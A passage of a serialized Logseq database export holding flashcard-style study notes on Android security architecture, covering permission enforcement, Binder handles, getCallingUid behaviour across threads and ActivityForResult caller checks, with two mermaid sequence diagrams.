applicationslogseq____",536873242]],[logseq____"^15logseq____",[477,logseq____"^Ologseq____",logseq____"^16logseq____",536873242]],[logseq____"^15logseq____",[477,logseq____"^Flogseq____",470,536873242]],[logseq____"^15logseq____",[477,logseq____"^Xlogseq____",354,536873242]],[logseq____"^15logseq____",[477,logseq____"^Vlogseq____",479,536873242]],[logseq____"^15logseq____",[477,logseq____"^Ulogseq____",354,536873242]],[logseq____"^15logseq____",[477,logseq____"^;logseq____",logseq____"~u67b983c8-8014-42bc-810f-40dadca7795clogseq____",536873242]],[logseq____"^15logseq____",[478,logseq____"^Qlogseq____",logseq____"## Enforcing Permissionslogseq____",536873242]],[logseq____"^15logseq____",[478,logseq____"^Ologseq____",logseq____"^16logseq____",536873242]],[logseq____"^15logseq____",[478,logseq____"^Flogseq____",403,536873242]],[logseq____"^15logseq____",[478,logseq____"^Xlogseq____",354,536873242]],[logseq____"^15logseq____",[478,logseq____"^Vlogseq____",354,536873242]],[logseq____"^15logseq____",[478,logseq____"^Ulogseq____",354,536873242]],[logseq____"^15logseq____",[478,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873242]],[logseq____"^15logseq____",[478,logseq____"^Jlogseq____",[],536873242]],[logseq____"^15logseq____",[478,logseq____"^;logseq____",logseq____"~u67b983c8-a309-4f58-b157-b5761aaf4c47logseq____",536873242]],[logseq____"^15logseq____",[479,logseq____"^Qlogseq____",logseq____"### Application Frameworklogseq____",536873242]],[logseq____"^15logseq____",[479,logseq____"^Ologseq____",logseq____"^16logseq____",536873242]],[logseq____"^15logseq____",[479,logseq____"^Flogseq____",473,536873242]],[logseq____"^15logseq____",[479,logseq____"^Xlogseq____",354,536873242]],[logseq____"^15logseq____",[479,logseq____"^Vlogseq____",478,536873242]],[logseq____"^15logseq____",[479,logseq____"^Ulogseq____",354,536873242]],[logseq____"^15logseq____",[479,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536873242]],[logseq____"^15logseq____",[479,logseq____"^Jlogseq____",[],536873242]],[logseq____"^15logseq____",[479,logseq____"^;logseq____",logseq____"~u67b983c8-8008-42c3-9f21-0ba5171c6513logseq____",536873242]],[logseq____"^15logseq____",[480,logseq____"^Qlogseq____",logseq____"Permissions are *strings assiciated with a UID* (most permissions, enforced in Androidlogseq____'s middleware) or *mapped to Linux GID*s (Internet, Bluetooth, enforced by the Linux Kernel)logseq____",536873242]],[logseq____"^15logseq____",[480,logseq____"^Ologseq____",logseq____"^16logseq____",536873242]],[logseq____"^15logseq____",[480,logseq____"^Flogseq____",359,536873242]],[logseq____"^15logseq____",[480,logseq____"^Xlogseq____",354,536873242]],[logseq____"^15logseq____",[480,logseq____"^Vlogseq____",355,536873242]],[logseq____"^15logseq____",[480,logseq____"^Ulogseq____",2,536873242]],[logseq____"^15logseq____",[480,logseq____"^Ulogseq____",38,536873242]],[logseq____"^15logseq____",[480,logseq____"^Ulogseq____",354,536873242]],[logseq____"^15logseq____",[480,logseq____"^;logseq____",logseq____"~u67b983c8-6eaf-4f3b-831b-8907cdb5338flogseq____",536873242]],[logseq____"^15logseq____",[481,logseq____"^Qlogseq____",logseq____"~`checkPermission(String Perm)`, `checkPermission(int UID, String Perm)`logseq____",536873242]],[logseq____"^15logseq____",[481,logseq____"^Ologseq____",logseq____"^16logseq____",536873242]],[logseq____"^15logseq____",[481,logseq____"^Flogseq____",474,536873242]],[logseq____"^15logseq____",[481,logseq____"^Xlogseq____",354,536873242]],[logseq____"^15logseq____",[481,logseq____"^Vlogseq____",470,536873242]],[logseq____"^15logseq____",[481,logseq____"^Ulogseq____",354,536873242]],[logseq____"^15logseq____",[481,logseq____"^;logseq____",logseq____"~u67b983c8-d0a6-42da-a1cf-dda27f9b2a3clogseq____",536873242]],[logseq____"^15logseq____",[482,logseq____"^Qlogseq____",logseq____"Service Manager: Handles well-known System Serviceslogseq____",536873242]],[logseq____"^15logseq____",[482,logseq____"^Ologseq____",logseq____"^16logseq____",536873242]],[logseq____"^15logseq____",[482,logseq____"^Flogseq____",477,536873242]],[logseq____"^15logseq____",[482,logseq____"^Xlogseq____",354,536873242]],[logseq____"^15logseq____",[482,logseq____"^Vlogseq____",479,536873242]],[logseq____"^15logseq____",[482,logseq____"^Ulogseq____",354,536873242]],[logseq____"^15logseq____",[482,logseq____"^;logseq____",logseq____"~u67b983c8-33b4-47f0-af73-19610a459720logseq____",536873242]],[logseq____"^15logseq____",[483,logseq____"^Qlogseq____",logseq____"Can start Activities via an Intentlogseq____",536873242]],[logseq____"^15logseq____",[483,logseq____"^Ologseq____",logseq____"^16logseq____",536873242]],[logseq____"^15logseq____",[483,logseq____"^Flogseq____",467,536873242]],[logseq____"^15logseq____",[483,logseq____"^Xlogseq____",354,536873242]],[logseq____"^15logseq____",[483,logseq____"^Vlogseq____",470,536873242]],[logseq____"^15logseq____",[483,logseq____"^Ulogseq____",354,536873242]],[logseq____"^15logseq____",[483,logseq____"^;logseq____",logseq____"~u67b983c8-c47a-4799-8a01-958e6eee122alogseq____",536873242]],[logseq____"^15logseq____",[484,logseq____"^Qlogseq____",logseq____"~`vndsericemanager`: handles vendor serviceslogseq____",536873242]],[logseq____"^15logseq____",[484,logseq____"^Ologseq____",logseq____"^16logseq____",536873242]],[logseq____"^15logseq____",[484,logseq____"^Flogseq____",482,536873242]],[logseq____"^15logseq____",[484,logseq____"^Xlogseq____",354,536873242]],[logseq____"^15logseq____",[484,logseq____"^Vlogseq____",479,536873242]],[logseq____"^15logseq____",[484,logseq____"^Ulogseq____",354,536873242]],[logseq____"^15logseq____",[484,logseq____"^;logseq____",logseq____"~u67b983c8-141d-4d9c-a7fa-b3adf07a94a9logseq____",536873242]],[logseq____"^15logseq____",[485,logseq____"^Qlogseq____",logseq____"## Registration/Invocation #card #security-architecturelogseq____",536873816]],[logseq____"^15logseq____",[485,logseq____"^Ologseq____",logseq____"^16logseq____",536873245]],[logseq____"^15logseq____",[485,logseq____"^Flogseq____",432,536873249]],[logseq____"^15logseq____",[485,logseq____"^Xlogseq____",413,536873245]],[logseq____"^15logseq____",[485,logseq____"^Vlogseq____",413,536873249]],[logseq____"^15logseq____",[485,logseq____"^Ulogseq____",2,536873817]],[logseq____"^15logseq____",[485,logseq____"^Ulogseq____",38,536873817]],[logseq____"^15logseq____",[485,logseq____"^Ulogseq____",413,536873817]],[logseq____"^15logseq____",[485,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873816]],[logseq____"^15logseq____",[485,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536873816]],[logseq____"^15logseq____",[485,logseq____"^Hlogseq____",2,536873816]],[logseq____"^15logseq____",[485,logseq____"^Hlogseq____",38,536873816]],[logseq____"^15logseq____",[485,logseq____"^;logseq____",logseq____"~u67b985cc-1c3e-47f4-baf4-06553a95ad60logseq____",536873245]],[logseq____"^15logseq____",[486,logseq____"^Qlogseq____",logseq____"Service manager as first service to get registered (must be ensured during boot process)logseq____",536873278]],[logseq____"^15logseq____",[486,logseq____"^Ologseq____",logseq____"^16logseq____",536873256]],[logseq____"^15logseq____",[486,logseq____"^Flogseq____",485,536873256]],[logseq____"^15logseq____",[486,logseq____"^Xlogseq____",413,536873256]],[logseq____"^15logseq____",[486,logseq____"^Vlogseq____",485,536873258]],[logseq____"^15logseq____",[486,logseq____"^Ulogseq____",2,536873817]],[logseq____"^15logseq____",[486,logseq____"^Ulogseq____",38,536873817]],[logseq____"^15logseq____",[486,logseq____"^Ulogseq____",413,536873817]],[logseq____"^15logseq____",[486,logseq____"^?logseq____",[logseq____"^ logseq____"],536873278]],[logseq____"^15logseq____",[486,logseq____"^;logseq____",logseq____"~u67b985d6-cf84-4d45-94c9-61d4c5b0b675logseq____",536873256]],[logseq____"^15logseq____",[487,logseq____"^Qlogseq____",logseq____"All managers are registered in Kernel with unique handles(/tokens) and are associated with a process (e.g., Service Manager)logseq____",536873344]],[logseq____"^15logseq____",[487,logseq____"^Ologseq____",logseq____"^16logseq____",536873279]],[logseq____"^15logseq____",[487,logseq____"^Flogseq____",486,536873279]],[logseq____"^15logseq____",[487,logseq____"^Xlogseq____",413,536873279]],[logseq____"^15logseq____",[487,logseq____"^Vlogseq____",485,536873279]],[logseq____"^15logseq____",[487,logseq____"^Ulogseq____",2,536873817]],[logseq____"^15logseq____",[487,logseq____"^Ulogseq____",38,536873817]],[logseq____"^15logseq____",[487,logseq____"^Ulogseq____",413,536873817]],[logseq____"^15logseq____",[487,logseq____"^?logseq____",[logseq____"^ logseq____"],536873344]],[logseq____"^15logseq____",[487,logseq____"^;logseq____",logseq____"~u67b985e8-e665-4d93-bb60-388c8ba633b4logseq____",536873279]],[logseq____"^15logseq____",[489,logseq____"^Qlogseq____",logseq____"## Permission Checks #card #security-architecturelogseq____",536873820]],[logseq____"^15logseq____",[489,logseq____"^Ologseq____",logseq____"^16logseq____",536873316]],[logseq____"^15logseq____",[489,logseq____"^Flogseq____",485,536873804]],[logseq____"^15logseq____",[489,logseq____"^Xlogseq____",413,536873316]],[logseq____"^15logseq____",[489,logseq____"^Vlogseq____",413,536873804]],[logseq____"^15logseq____",[489,logseq____"^Ulogseq____",2,536873821]],[logseq____"^15logseq____",[489,logseq____"^Ulogseq____",38,536873821]],[logseq____"^15logseq____",[489,logseq____"^Ulogseq____",413,536873821]],[logseq____"^15logseq____",[489,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873820]],[logseq____"^15logseq____",[489,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536873820]],[logseq____"^15logseq____",[489,logseq____"^Hlogseq____",2,536873820]],[logseq____"^15logseq____",[489,logseq____"^Hlogseq____",38,536873820]],[logseq____"^15logseq____",[489,logseq____"^;logseq____",logseq____"~u67b9860e-4a5d-4605-9ac3-2a8f3c2e61c9logseq____",536873316]],[logseq____"^15logseq____",[490,logseq____"^Qlogseq____",logseq____"On service request, Binder driver creates a unique reference and hands it out to the recipientlogseq____",536873360]],[logseq____"^15logseq____",[490,logseq____"^Ologseq____",logseq____"^16logseq____",536873335]],[logseq____"^15logseq____",[490,logseq____"^Flogseq____",487,536873335]],[logseq____"^15logseq____",[490,logseq____"^Xlogseq____",413,536873335]],[logseq____"^15logseq____",[490,logseq____"^Vlogseq____",485,536873335]],[logseq____"^15logseq____",[490,logseq____"^Ulogseq____",2,536873817]],[logseq____"^15logseq____",[490,logseq____"^Ulogseq____",38,536873817]],[logseq____"^15logseq____",[490,logseq____"^Ulogseq____",413,536873817]],[logseq____"^15logseq____",[490,logseq____"^?logseq____",[logseq____"^ logseq____"],536873360]],[logseq____"^15logseq____",[490,logseq____"^;logseq____",logseq____"~u67b9862e-b4a2-4ce3-87d5-c31712f179f5logseq____",536873335]],[logseq____"^15logseq____",[491,logseq____"^Qlogseq____",logseq____"Binder handle similar to capabilities (per process, communicable, unforgeable, tamper-proof)logseq____",536873392]],[logseq____"^15logseq____",[491,logseq____"^Ologseq____",logseq____"^16logseq____",536873363]],[logseq____"^15logseq____",[491,logseq____"^Flogseq____",428,536873363]],[logseq____"^15logseq____",[491,logseq____"^Xlogseq____",413,536873363]],[logseq____"^15logseq____",[491,logseq____"^Vlogseq____",425,536873363]],[logseq____"^15logseq____",[491,logseq____"^Ulogseq____",2,536873364]],[logseq____"^15logseq____",[491,logseq____"^Ulogseq____",38,536873364]],[logseq____"^15logseq____",[491,logseq____"^Ulogseq____",413,536873364]],[logseq____"^15logseq____",[491,logseq____"^?logseq____",[logseq____"^ logseq____"],536873392]],[logseq____"^15logseq____",[491,logseq____"^;logseq____",logseq____"~u67b986e4-9074-40fa-bdde-19a95c518cbclogseq____",536873363]],[logseq____"^15logseq____",[493,logseq____"^Qlogseq____",logseq____"Sender UID only available for directly bound serviceslogseq____",536873621]],[logseq____"^15logseq____",[493,logseq____"^Ologseq____",logseq____"^16logseq____",536873414]],[logseq____"^15logseq____",[493,logseq____"^Flogseq____",489,536873414]],[logseq____"^15logseq____",[493,logseq____"^Xlogseq____",413,536873414]],[logseq____"^15logseq____",[493,logseq____"^Vlogseq____",489,536873579]],[logseq____"^15logseq____",[493,logseq____"^Ulogseq____",2,536873821]],[logseq____"^15logseq____",[493,logseq____"^Ulogseq____",38,536873821]],[logseq____"^15logseq____",[493,logseq____"^Ulogseq____",413,536873821]],[logseq____"^15logseq____",[493,logseq____"^?logseq____",[logseq____"^ logseq____"],536873621]],[logseq____"^15logseq____",[493,logseq____"^;logseq____",logseq____"~u67b98870-119a-441a-b217-ea7b0352b2edlogseq____",536873414]],[logseq____"^15logseq____",[494,logseq____"^Qlogseq____",logseq____"Indirection of message delivery:logseq____",536873461]],[logseq____"^15logseq____",[494,logseq____"^Ologseq____",logseq____"^16logseq____",536873437]],[logseq____"^15logseq____",[494,logseq____"^Flogseq____",502,536873624]],[logseq____"^15logseq____",[494,logseq____"^Xlogseq____",413,536873437]],[logseq____"^15logseq____",[494,logseq____"^Vlogseq____",489,536873583]],[logseq____"^15logseq____",[494,logseq____"^Ulogseq____",2,536873821]],[logseq____"^15logseq____",[494,logseq____"^Ulogseq____",38,536873821]],[logseq____"^15logseq____",[494,logseq____"^Ulogseq____",413,536873821]],[logseq____"^15logseq____",[494,logseq____"^?logseq____",[logseq____"^ logseq____"],536873461]],[logseq____"^15logseq____",[494,logseq____"^;logseq____",logseq____"~u67b9888a-de21-4a52-adf1-b4cd255d40e3logseq____",536873437]],[logseq____"^15logseq____",[495,logseq____"^Qlogseq____",logseq____"~```mermaid\\nsequenceDiagram\\n participant A as App Process A (Sender)\\n participant BK as Binder Kernel Module\\n participant S as System Process S (AMS)\\n participant B as App Process B (Receiver)\\n \\n alt 1st transaction\\n A-logseq____>logseq____>BK: 1) translogseq____<sublogseq____>A-Slogseq____</sublogseq____>\\n BK-logseq____>logseq____>S: 2) translogseq____<sublogseq____>A-Slogseq____</sublogseq____> = {P, UID=A}\\n end\\n \\n alt 2nd transaction\\n S-logseq____>logseq____>BK: 3) translogseq____<sublogseq____>S-Blogseq____</sublogseq____>\\n BK-logseq____>logseq____>B: 4) translogseq____<sublogseq____>S-Blogseq____</sublogseq____> = {P, UID=S}\\n end\\n```logseq____",536873461]],[logseq____"^15logseq____",[495,logseq____"^Ologseq____",logseq____"^16logseq____",536873461]],[logseq____"^15logseq____",[495,logseq____"^Flogseq____",494,536873461]],[logseq____"^15logseq____",[495,logseq____"^Xlogseq____",413,536873461]],[logseq____"^15logseq____",[495,logseq____"^Vlogseq____",494,536873465]],[logseq____"^15logseq____",[495,logseq____"^Ulogseq____",2,536873821]],[logseq____"^15logseq____",[495,logseq____"^Ulogseq____",38,536873821]],[logseq____"^15logseq____",[495,logseq____"^Ulogseq____",413,536873821]],[logseq____"^15logseq____",[495,logseq____"^?logseq____",[logseq____"^ logseq____"],536873461]],[logseq____"^15logseq____",[495,logseq____"^;logseq____",logseq____"~u67b98986-c0b8-4a15-8582-58de9efee9c1logseq____",536873461]],[logseq____"^15logseq____",[496,logseq____"^Qlogseq____",logseq____"The second transaction is needed for intents (AMS invokes service)logseq____",536873490]],[logseq____"^15logseq____",[496,logseq____"^Ologseq____",logseq____"^16logseq____",536873468]],[logseq____"^15logseq____",[496,logseq____"^Flogseq____",495,536873468]],[logseq____"^15logseq____",[496,logseq____"^Xlogseq____",413,536873468]],[logseq____"^15logseq____",[496,logseq____"^Vlogseq____",494,536873468]],[logseq____"^15logseq____",[496,logseq____"^Ulogseq____",2,536873821]],[logseq____"^15logseq____",[496,logseq____"^Ulogseq____",38,536873821]],[logseq____"^15logseq____",[496,logseq____"^Ulogseq____",413,536873821]],[logseq____"^15logseq____",[496,logseq____"^?logseq____",[logseq____"^ logseq____"],536873490]],[logseq____"^15logseq____",[496,logseq____"^;logseq____",logseq____"~u67b9898d-9bd8-4248-9823-3383d0fca07flogseq____",536873468]],[logseq____"^15logseq____",[497,logseq____"^Qlogseq____",logseq____"Message dispatching between threads:logseq____",536873500]],[logseq____"^15logseq____",[497,logseq____"^Ologseq____",logseq____"^16logseq____",536873493]],[logseq____"^15logseq____",[497,logseq____"^Flogseq____",494,536873587]],[logseq____"^15logseq____",[497,logseq____"^Xlogseq____",413,536873493]],[logseq____"^15logseq____",[497,logseq____"^Vlogseq____",489,536873587]],[logseq____"^15logseq____",[497,logseq____"^Ulogseq____",2,536873821]],[logseq____"^15logseq____",[497,logseq____"^Ulogseq____",38,536873821]],[logseq____"^15logseq____",[497,logseq____"^Ulogseq____",413,536873821]],[logseq____"^15logseq____",[497,logseq____"^?logseq____",[logseq____"^ logseq____"],536873500]],[logseq____"^15logseq____",[497,logseq____"^;logseq____",logseq____"~u67b989c5-0478-400a-b4df-de0441023fcblogseq____",536873493]],[logseq____"^15logseq____",[498,logseq____"^Qlogseq____",logseq____"~```mermaid\\nsequenceDiagram\\n participant A as App Process A (Sender)\\n participant BK as Binder Kernel Module\\n \\n box \\logseq____"App Process B (Receiver)\\logseq____"\\n participant IPC as IPC Thread\\n participant MAIN as Main Thread\\n end\\n\\n A-logseq____>logseq____>BK: 1) trans\\n BK-logseq____>logseq____>IPC: 2) trans = {P, UID = A}\\n IPC-logseq____>logseq____>MAIN: Dispatch Payloadlogseq____<brlogseq____>(Needed for Intents)\\n note left of IPC: calling UID = A ✓logseq____<brlogseq____>(Service/ContentProvider sees A)\\n note right of MAIN: calling UID = B? (App’s own UID)\\n```logseq____",536873532]],[logseq____"^15logseq____",[498,logseq____"^Ologseq____",logseq____"^16logseq____",536873500]],[logseq____"^15logseq____",[498,logseq____"^Flogseq____",497,536873572]],[logseq____"^15logseq____",[498,logseq____"^Xlogseq____",413,536873500]],[logseq____"^15logseq____",[498,logseq____"^Vlogseq____",497,536873502]],[logseq____"^15logseq____",[498,logseq____"^Ulogseq____",2,536873821]],[logseq____"^15logseq____",[498,logseq____"^Ulogseq____",38,536873821]],[logseq____"^15logseq____",[498,logseq____"^Ulogseq____",413,536873821]],[logseq____"^15logseq____",[498,logseq____"^?logseq____",[logseq____"^ logseq____"],536873532]],[logseq____"^15logseq____",[498,logseq____"^;logseq____",logseq____"~u67b989d4-ba65-428d-8e73-a2e2681b2457logseq____",536873500]],[logseq____"^15logseq____",[500,logseq____"^Qlogseq____",logseq____"Dispatched payload only sees correct UID in IPC thread, not if payloads are dispatched to main threadlogseq____",536873569]],[logseq____"^15logseq____",[500,logseq____"^Ologseq____",logseq____"^16logseq____",536873535]],[logseq____"^15logseq____",[500,logseq____"^Flogseq____",497,536873591]],[logseq____"^15logseq____",[500,logseq____"^Xlogseq____",413,536873535]],[logseq____"^15logseq____",[500,logseq____"^Vlogseq____",489,536873591]],[logseq____"^15logseq____",[500,logseq____"^Ulogseq____",2,536873821]],[logseq____"^15logseq____",[500,logseq____"^Ulogseq____",38,536873821]],[logseq____"^15logseq____",[500,logseq____"^Ulogseq____",413,536873821]],[logseq____"^15logseq____",[500,logseq____"^?logseq____",[logseq____"^ logseq____"],536873569]],[logseq____"^15logseq____",[500,logseq____"^;logseq____",logseq____"~u67b98a57-e45e-48d8-aa3c-49038aee031blogseq____",536873535]],[logseq____"^15logseq____",[502,logseq____"^Qlogseq____",logseq____"Any indirection over ((67b8b44a-6c31-4d6b-9636-36ff5e0010d0)) prohibits `getCallingUid`logseq____",536873660]],[logseq____"^15logseq____",[502,logseq____"^Ologseq____",logseq____"^16logseq____",536873624]],[logseq____"^15logseq____",[502,logseq____"^Flogseq____",493,536873624]],[logseq____"^15logseq____",[502,logseq____"^Xlogseq____",413,536873624]],[logseq____"^15logseq____",[502,logseq____"^Vlogseq____",489,536873624]],[logseq____"^15logseq____",[502,logseq____"^Ulogseq____",2,536873821]],[logseq____"^15logseq____",[502,logseq____"^Ulogseq____",38,536873821]],[logseq____"^15logseq____",[502,logseq____"^Ulogseq____",413,536873821]],[logseq____"^15logseq____",[502,logseq____"^Ulogseq____",470,536873821]],[logseq____"^15logseq____",[502,logseq____"^?logseq____",[logseq____"^ logseq____"],536873660]],[logseq____"^15logseq____",[502,logseq____"^Hlogseq____",470,536873660]],[logseq____"^15logseq____",[502,logseq____"^;logseq____",logseq____"~u67b98aaf-9ded-4c69-b64a-4cc9eba7a84flogseq____",536873624]],[logseq____"^15logseq____",[504,logseq____"^Qlogseq____",logseq____"## `ActivityForResult` #card #security-architecture\\nid:: 67b98b1f-54b1-4f86-9cf8-cfbea33c6c31logseq____",536873836]],[logseq____"^15logseq____",[504,logseq____"^Ologseq____",logseq____"^16logseq____",536873696]],[logseq____"^15logseq____",[504,logseq____"^Flogseq____",417,536873700]],[logseq____"^15logseq____",[504,logseq____"^Xlogseq____",411,536873696]],[logseq____"^15logseq____",[504,logseq____"^Vlogseq____",411,536873700]],[logseq____"^15logseq____",[504,logseq____"^Ulogseq____",2,536873721]],[logseq____"^15logseq____",[504,logseq____"^Ulogseq____",38,536873721]],[logseq____"^15logseq____",[504,logseq____"^Ulogseq____",411,536873721]],[logseq____"^15logseq____",[504,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2,logseq____"^18logseq____",logseq____"67b98b1f-54b1-4f86-9cf8-cfbea33c6c31logseq____"],536873836]],[logseq____"^15logseq____",[504,logseq____"^Jlogseq____",[logseq____"^14logseq____",[logseq____"^18logseq____"]],536873836]],[logseq____"^15logseq____",[504,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b98b1f-54b1-4f86-9cf8-cfbea33c6c31logseq____"],536873836]],[logseq____"^15logseq____",[504,logseq____"^Hlogseq____",2,536873720]],[logseq____"^15logseq____",[504,logseq____"^Hlogseq____",38,536873720]],[logseq____"^15logseq____",[504,logseq____"^;logseq____",logseq____"~u67b98b1f-54b1-4f86-9cf8-cfbea33c6c31logseq____",536873696]],[logseq____"^15logseq____",[505,logseq____"^Qlogseq____",logseq____"Can check senders packagename as result may contain sensitive data\\nid:: 67b98b29-ba55-42e8-a8c7-bf3001120a68logseq____",536873827]],[logseq____"^15logseq____",[505,logseq____"^Ologseq____",logseq____"^16logseq____",536873704]],[logseq____"^15logseq____",[505,logseq____"^Flogseq____",504,536873704]],[logseq____"^15logseq____",[505,logseq____"^Xlogseq____",411,536873704]],[logseq____"^15logseq____",[505,logseq____"^Vlogseq____",504,536873706]],[logseq____"^15logseq____",[505,logseq____"^Ulogseq____",2,536873837]],[logseq____"^15logseq____",[505,logseq____"^Ulogseq____",38,536873837]],[logseq____"^15logseq____",[505,logseq____"^Ulogseq____",411,536873837]],[logseq____"^15logseq____",[505,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b98b29-ba55-42e8-a8c7-bf3001120a68logseq____"],536873827]],[logseq____"^15logseq____",[505,logseq____"^Jlogseq____",[logseq____"^14logseq____",[logseq____"^18logseq____"]],536873827]],[logseq____"^15logseq____",[505,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b98b29-ba55-42e8-a8c7-bf3001120a68logseq____"],536873827]],[logseq____"^15logseq____",[505,logseq____"^;logseq____",logseq____"~u67b98b29-ba55-42e8-a8c7-bf3001120a68logseq____",536873704]],[logseq____"^15logseq____",[506,logseq____"^Qlogseq____",logseq____"logseq____",536873717]],[logseq____"^15logseq____",[506,logseq____"^Ologseq____",logseq____"^16logseq____",536873717]],[logseq____"^15logseq____",[506,logseq____"^@logseq____",false,536873717]],[logseq____"^15logseq____",[506,logseq____"^Flogseq____",24,536873717]],[logseq____"^15logseq____",[506,logseq____"^Xlogseq____",24,536873717]],[logseq____"^15logseq____",[506,logseq____"^Vlogseq____",24,536873717]],[logseq____"^15logseq____",[506,logseq____"^Ulogseq____",24,536873718]],[logseq____"^15logseq____",[506,logseq____"^?logseq____",[logseq____"^ logseq____"],536873717]],[logseq____"^15logseq____",[506,logseq____"^;logseq____",logseq____"~u67b98b36-ae07-49c2-b3d0-b9804559dd57logseq____",536873717]],[logseq____"^15logseq____",[507,logseq____"^Qlogseq____",logseq____"provides `getCallingPackage`, `getCallingActivity`logseq____",536873758]],[logseq____"^15logseq____",[507,logseq____"^Ologseq____",logseq____"^16logseq____",536873736]],[logseq____"^15logseq____",[507,logseq____"^Flogseq____",505,536873736]],[logseq____"^15logseq____",[507,logseq____"^Xlogseq____",411,536873736]],[logseq____"^15logseq____",[507,logseq____"^Vlogseq____",504,536873736]],[logseq____"^15logseq____",[507,logseq____"^Ulogseq____",2,536873837]],[logseq____"^15logseq____",[507,logseq____"^Ulogseq____",38,536873837]],[logseq____"^15logseq____",[507,logseq____"^Ulogseq____",411,536873837]],[logseq____"^15logseq____",[507,logseq____"^?logseq____",[logseq____"^ logseq____"],536873758]],[logseq____"^15logseq____",[507,logseq____"^;logseq____",logseq____"~u67b98b55-e6f7-4d27-bebe-aebfeeea5d77logseq____",536873736]],[logseq____"^15logseq____",[508,logseq____"^Qlogseq____",logseq____"PackageManager then maps to UID: `PackageManager.getPackageUid(String packageName, int flags`logseq____",536873793]],[logseq____"^15logseq____",[508,logseq____"^Ologseq____",logseq____"^16logseq____",536873758]],[logseq____"^15logseq____",[508,logseq____"^Flogseq____",507,536873758]],[logseq____"^15logseq____",[508,logseq____"^Xlogseq____",411,536873758]],[logseq____"^15logseq____",[508,logseq____"^Vlogseq____",504,536873758]],[logseq____"^15logseq____",[508,logseq____"^Ulogseq____",2,536873837]],[logseq____"^15logseq____",[508,logseq____"^Ulogseq____",38,536873837]],[logseq____"^15logseq____",[508,logseq____"^Ulogseq____",411,536873837]],[logseq____"^15logseq____",[508,logseq____"^?logseq____",[logseq____"^ logseq____"],536873793]],[logseq____"^15logseq____",[508,logseq____"^;logseq____",logseq____"~u67b98b73-c2f0-4060-a666-8f364d534e78logseq____",536873758]],[logseq____"^15logseq____",[509,logseq____"^Qlogseq____",logseq____"logseq____",536873794]],[logseq____"^15logseq____",[509,logseq____"^Ologseq____",logseq____"^16logseq____",536873794]],[logseq____"^15logseq____",[509,logseq____"^Flogseq____",508,536873794]],[logseq____"^15logseq____",[509,logseq____"^Xlogseq____",411,536873794]],[logseq____"^15logseq____",[509,logseq____"^Vlogseq____",504,536873794]],[logseq____"^15logseq____",[509,logseq____"^Ulogseq____",2,536873837]],[logseq____"^15logseq____",[509,logseq____"^Ulogseq____",38,536873837]],[logseq____"^15logseq____",[509,logseq____"^Ulogseq____",411,536873837]],[logseq____"^15logseq____",[509,logseq____"^?logseq____",[logseq____"^ logseq____"],536873794]],[logseq____"^15logseq____",[509,logseq____"^;logseq____",logseq____"~u67b98b95-da73-4bf0-a32d-743a9d5631eclogseq____",536873794]],[logseq____"^15logseq____",[510,logseq____"^Qlogseq____",logseq____"[ActivityForResult](((67b98b1f-54b1-4f86-9cf8-cfbea33c6c31))) can additionally check package information (indirection to UID)logseq____",536873883]],[logseq____"^15logseq____",[510,logseq____"^Ologseq____",logseq____"^16logseq____",536873800]],[logseq____"^15logseq____",[510,logseq____"^Flogseq____",500,536873800]],[logseq____"^15logseq____",[510,logseq____"^Xlogseq____",413,536873800]],[logseq____"^15logseq____",[510,logseq____"^Vlogseq____",489,536873800]],[logseq____"^15logseq____",[510,logseq____"^Ulogseq____",2,536873865]],[logseq____"^15logseq____",[510,logseq____"^Ulogseq____",38,536873865]],[logseq____"^15logseq____",[510,logseq____"^Ulogseq____",413,536873865]],[logseq____"^15logseq____",[510,logseq____"^Ulogseq____",504,536873865]],[logseq____"^15logseq____",[510,logseq____"^?logseq____",[logseq____"^ logseq____"],536873883]],[logseq____"^15logseq____",[510,logseq____"^Hlogseq____",504,536873883]],[logseq____"^15logseq____",[510,logseq____"^;logseq____",logseq____"~u67b98c1a-2195-445a-a9e0-b9d17ffc7f93logseq____",536873800]],[logseq____"^15logseq____",[513,logseq____"^Qlogseq____",logseq____"## Enforcing Permissions #card #security-architecturelogseq____",536873913]],[logseq____"^15logseq____",[513,logseq____"^Ologseq____",logseq____"^16logseq____",536873884]],[logseq____"^15logseq____",[513,logseq____"^Flogseq____",510,536873908]],[logseq____"^15logseq____",[513,logseq____"^Xlogseq____",413,536873884]],[logseq____"^15logseq____",[513,logseq____"^Vlogseq____",489,536873908]],[logseq____"^15logseq____",[513,logseq____"^Ulogseq____",2,536873914]],[logseq____"^15logseq____",[513,logseq____"^Ulogseq____",38,536873914]],[logseq____"^15logseq____",[513,logseq____"^Ulogseq____",413,536873914]],[logseq____"^15logseq____",[513,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873913]],[logseq____"^15logseq____",[513,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536873913]],[logseq____"^15logseq____",[513,logseq____"^Hlogseq____",2,536873913]],[logseq____"^15logseq____",[513,logseq____"^Hlogseq____",38,536873913]],[logseq____"^15logseq____",[513,logseq____"^;logseq____",logseq____"~u67b98ceb-87f2-4b00-9ee9-6a3c3e60a4felogseq____",536873884]],[logseq____"^15logseq____",[516,logseq____"^Qlogseq____",logseq____"Developers can use `checkPermission` and `Binder.getCallingUid`:logseq____",536873940]],[logseq____"^15logseq____",[516,logseq____"^Ologseq____",logseq____"^16logseq____",536873913]],[logseq____"^15logseq____",[516,logseq____"^Flogseq____",513,536873913]],[logseq____"^15logseq____",[516,logseq____"^Xlogseq____",413,536873913]],[logseq____"^15logseq____",[516,logseq____"^Vlogseq____",513,536873915]],[logseq____"^15logseq____",[516,logseq____"^Ulogseq____",2,536873914]],[logseq____"^15logseq____",[516,logseq____"^Ulogseq____",38,536873914]],[logseq____"^15logseq____",[516,logseq____"^Ulogseq____",413,536873914]],[logseq____"^15logseq____",[516,logseq____"^?logseq____",[logseq____"^ 